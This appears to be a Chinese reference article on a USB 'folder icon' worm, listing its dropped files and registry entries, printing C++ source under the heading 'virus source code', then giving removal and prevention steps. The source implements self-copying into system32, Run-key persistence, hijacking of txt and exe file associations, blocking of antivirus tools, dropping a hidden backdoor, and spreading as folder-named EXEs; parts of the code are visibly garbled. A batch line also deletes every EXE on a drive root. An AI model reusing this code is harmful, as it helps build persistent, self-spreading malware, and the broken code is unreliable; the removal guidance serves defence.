病毒由來
資料夾圖示病毒具有Autorun屬性。該病毒是用
VC編寫,運行後會在系統目錄下生成類似XP-8B618895.EXE的病毒副本,其中8B618895是隨機的,並搜尋移動設備,生成autorun檔案,並根據移動存儲設備根目錄資料夾名生成同名EXE檔案,並將原資料夾隱藏起來。另外病毒還會刪除
臨時檔案及Cookies,刪除IE訪問記錄TypedURL。
生成檔案(以
系統盤為C糟,winxp Sp3為例,U:\代表隨身碟盤符)
C:\WINDOWS\system32\XP-8B618895.EXE 1,501,856
C:\WINDOWS\system32\ul.dll 2,404
C:\WINDOWS\system32\og.dll 692
C:\WINDOWS\system32\com.run 270,336
C:\Documents and Settings\Nick\
「開始」選單\程式\啟動\ .lnk 指向C:\WINDOWS\system32\XP-8B618895.EXE(注意空格)
U:\Recycled.exe
在隨身碟根目錄生成資料夾圖示同名EXE檔案
C:\WINDOWS\system32\dp1.fne
C:\WINDOWS\system32\eAPI.fne
C:\WINDOWS\system32\internet.fne
C:\WINDOWS\system32\krnln.fnr
C:\WINDOWS\system32\RegEx.fnr
C:\WINDOWS\system32\shell.fne
C:\WINDOWS\system32\spec.fne
添加註冊表啟動項:
XP-8B618895(這裡也是隨機的,根據病毒名生成的不同而變)
病毒原始碼
bool CVirousApp::OpenFuckFile()
{
char CmdLine[MAX_PATH]={0};
char DirUrl[MAX_PATH]={0};
char HiJack[MAX_PATH]={0};
return FALSE;
char ch='\\';
if(ch!=*(DirUrl strlen(DirUrl)-1))
{
strcat(DirUrl,"\\");
}
//此處只在系統根目錄下有效
sprintf(HiJack,"%s%s\\",DirUrl,AfxGetApp()->m_pszAp pName);
//判斷是否存在。
可以打開
if(-1==_access(HiJack,0))
return FALSE;
else
{
// MessageBox(CmdLine); //For a Test
if(WinExec(CmdLine,SW_SHOW)<31)
return FALSE;
}
return TRUE;
}
2、劫持"txt、exe"檔案,並禁止常用安全工具
//定義特徵字元串
BOOL check=TRUE;
int len=7;
char *FuckExe[]={"USBCleaner",
"Kis",
"Kav",
"IceSword",
"Kill",
"WSYSCHECK",
"360"};
//獲取參數並判斷
if(strcmp(m_lpCmdLine,""))//如果有參數
{
//判斷特徵字元串
int i;
for(i=0;i<len;i )
{
if(strstr(_
strupr(_strdup(m_lpCmdLine)),
{ check=FALSE; break;}
}
// LPTSTR ext;
// ext=wcschr(m_lpCmdLine,_T(".")) 1;
CString cmd;
if(strstr(m_lpCmdLine,_T(".txt"))||strstr(m_lpCmdL ine,_T(".TXT")))
{
}
else
if(strstr(m_lpCmdLine,_T(".exe"))||strstr(m_lpCmdL ine,_T(".EXE")))
{
//此處不完美。
判斷檔案名稱
if(!check)
{
// AfxMessageBox("檔案已損壞!");
::MessageBox(NULL,"檔案已損壞!請重新安裝
應用程式!","Microsoft",MB_OK);
return FALSE;
}
else
cmd.Format("%s",m_lpCmdLine);
}
WinExec(cmd,SW_NORMAL);
}
else
//打開檔案
OpenFuckFile();
3、自啟動及實現劫持"exe、txt"檔案
//向系統目錄下拷貝程式
char FileSource[MAX_PATH]={0};
char FileNew[MAX_PATH]={0};
HMODULE hModule;
hModule=GetModuleHandle(NULL);
GetModuleFileName(hModule,FileSource,MAX_PATH);
CloseHandle(hModule);
GetSystemDirectory(FileNew,MAX_PATH);
strcat(FileNew,"\\SysKernel.exe");
CopyFile(FileSource,FileNew,TRUE);
SetFileAttributes(FileNew, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
//寫註冊表。
弄個自啟動
WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run",
"SysKernel",
REG_SZ,FileNew,0,0);
char Hijack[MAX_PATH]={0};
sprintf(Hijack,"%s %%1",FileNew);
WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\ txtfile\\shell\\open\\command",
NULL,REG_SZ,Hijack,0,1);
WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\ exefile\\shell\\open\\command",
NULL,REG_SZ,Hijack,0,1);
BOOL CVirousDlg::ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
{
HGLOBAL hRes;
HRSRC hResInfo;
HANDLE hFile;
DWORD dwBytes;
hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);
if (hResInfo == NULL)
return FALSE;
hRes = LoadResource(NULL, hResInfo);
if (hRes == NULL)
return FALSE;
hFile = CreateFile
(
lpFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == NULL)
return FALSE;
WriteFile(hFile, hRes,
SizeofResource(NULL, hResInfo), &dwBytes, NULL);
CloseHandle(hFile);
return TRUE;
}
VOID CVirousDlg::ReleaseDoor()
{
char strSystemPath[MAX_PATH];
GetSystemDirectory(strSystemPath, sizeof(strSystemPath));
lstrcat(strSystemPath, "\\SysService.exe");
ReleaseResource(IDR_BIN, "BIN", strSystemPath);
SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run",
"SysService",REG_SZ,strSystemPath,0,0);
WinExec(strSystemPath,SW_HIDE);
}
5、遍歷磁碟並拷貝自身
//遍歷系統磁碟
BOOL CVirousDlg::FuckFile()
{
DWORD dwNumBytesForDriveStrings;//實際
存儲驅動器號的字元串長度
LPSTR lp;
CString strLogdrive;
//獲得實際存儲驅動器號的字元串長度
//如果字元串不為空。
則表示有正常的驅動器存在
if (dwNumBytesForDriveStrings!=0)
{
lp=new char[dwNumBytesForDriveStrings];
while (*lp!=0)
{
DoBad(lp);
lp=strchr(lp,0) 1;
}
return TRUE;
}
else
return FALSE;
}
//幹壞事
VOID CVirousDlg::DoBad(char DriveBuf[])
{
CFileFind finder;
// build a string with wildcards
CString strWildcard(DriveBuf);
strWildcard = _T("*.*");
char FileSource[MAX_PATH]={0};
char FileNew[MAX_PATH]={0};
HMODULE hModule;
hModule=GetModuleHandle(NULL);
GetModuleFileName(hModule,FileSource,MAX_PATH);
// CloseHandle(hModule);
// start working for files
BOOL bWorking = finder.FindFile(strWildcard);
while (bWorking)
{
// nReg ;
bWorking = finder.FindNextFile();
// skip . and .. files; otherwise, we'd
// recur infinitely!
if (finder.IsDots())
continue;
// if it's a directory, recursively search it
if (finder.IsDirectory()&&!finder.IsSystem()&&!finder .IsHidden())
{
nReg ;
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM))
continue;
sprintf(FileNew,"%s%s",finder.GetFilePath(),".exe" );
CopyFile(FileSource,FileNew,TRUE);
if(FUCKREG==nReg)
{
WriteReg(FileNew);
}
}
}
finder.Close();
}
查殺方式
1.下載usbcleaner,並運行其中的foldercure.exe
2.下載usbcleaner單獨的資料夾圖示病毒
專殺工具,下
3.手動查殺:
結束進程
XP-8B618895.EXE(注意名稱不固定,最好用icesword,其圖示是資料夾容易區分)
依次刪除
C:\WINDOWS\system32\ul.dll 2,404
C:\WINDOWS\system32\og.dll 692
C:\WINDOWS\system32\com.run 270,336
C:\Documents and Settings\Nick\「開始」選單\程式\啟動\ .lnk 指向C:\WINDOWS\system32\XP-8B618895.EXE(注意空格)
C:\WINDOWS\system32\og.EDT&一個VB程式那種圖示的exe(名字記不清了,總之看修改日期就好幾乎與其他
可疑檔案是同一時期而且這幾個檔案都在一塊呢)
(以上兩個原文裡雖然沒提但還是也一併刪除吧,再囉嗦一句,當然XP-*.exe這些看見也一概刪除)
(刪除下面幾個是關鍵喔,網上一般解決辦法都沒提)
以下是易語言的庫檔案等:
C:\WINDOWS\system32\dp1.fne
C:\WINDOWS\system32\eAPI.fne
C:\WINDOWS\system32\internet.fne
C:\WINDOWS\system32\krnln.fnr
C:\WINDOWS\system32\RegEx.fnr
C:\WINDOWS\system32\shell.fne
C:\WINDOWS\system32\spec.fne
刪除病毒啟動項
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
XP-8B618895(此處根據病毒名稱而定)
手動刪除隨身碟根目錄的資料夾圖示同名EXE檔案
-------------------------------
病毒危害
模仿資料夾的病毒目前發現至少五種,其行為惡劣程度不等,輕微惡劣的更像是惡作劇程式,最惡劣的一個是連繫統盤各目錄內都模仿全了,總之如果隨身碟有了資料夾圖示的exe千萬不要點(右鍵也不要!)。刪除的時候務必選擇強制刪除才好。還有除了刪除上述所說的檔案外,請務必也將temp資料夾下的
易語言庫檔案用IceSword強制刪除,我的建議是搜尋C糟所有後綴名為fne&fnr的檔案然後刪之(殺任何病毒都應有此習慣)。否則雖然system32下的雖刪除了,但如果重啟動作慢的話依然有可能復發喔!
病毒防範
該病毒的主要傳播方式為隨身碟傳播,像列印店,大學計算機機房,公司電腦等這些頻繁使用隨身碟的地方極易感染此病毒。所以我們需要通過一些
軟體(比如360衛士)關閉我們電腦的隨身碟自動播放功能,防止AUTORUN的病發。
手工防毒法
更改電腦的相關設定:
隱藏檔案和資料夾
顯示所有隱藏檔案和資料夾
2.更改資料夾的查看方式
打開任意資料夾,點查看,選詳細信息.
隱藏已知檔案類型的擴展名,不打鉤.
經過以上設定,在打開資料夾的時候,看"類型",那些資料夾病毒將再無藏身之地.首先,檔案類型變成了
執行檔,或者
應用程式(後綴名exe),檔案大小...如果是真正的資料夾,是不存在"檔案大小"的.那裡顯示的是空白,但假的資料夾就是有大小的.
如果顯示了擴展名,那些檔案就徹底暴露了,它將顯示為.exe,擺明就是病毒嘛
如果養成了對隨身碟保持警惕的習慣,這些判斷都只在瞬間完成.沒有習慣的人,
吃一塹長一智,總會學聰明的.
還有一招是
批處理.用批處理來打開隨身碟,並且自動刪除根目錄下的
執行檔.這招比較傻瓜化,但你的隨身碟將不能在根目錄下直接存放EXE檔案(你可以建立資料夾存放它們).
start explorer h:\
del h:\*.exe
這裡假設隨身碟的盤符是h:
這個方法可以防範隨身碟感染資料夾病毒,也可以用於判斷機器是否已經感染該類型病毒.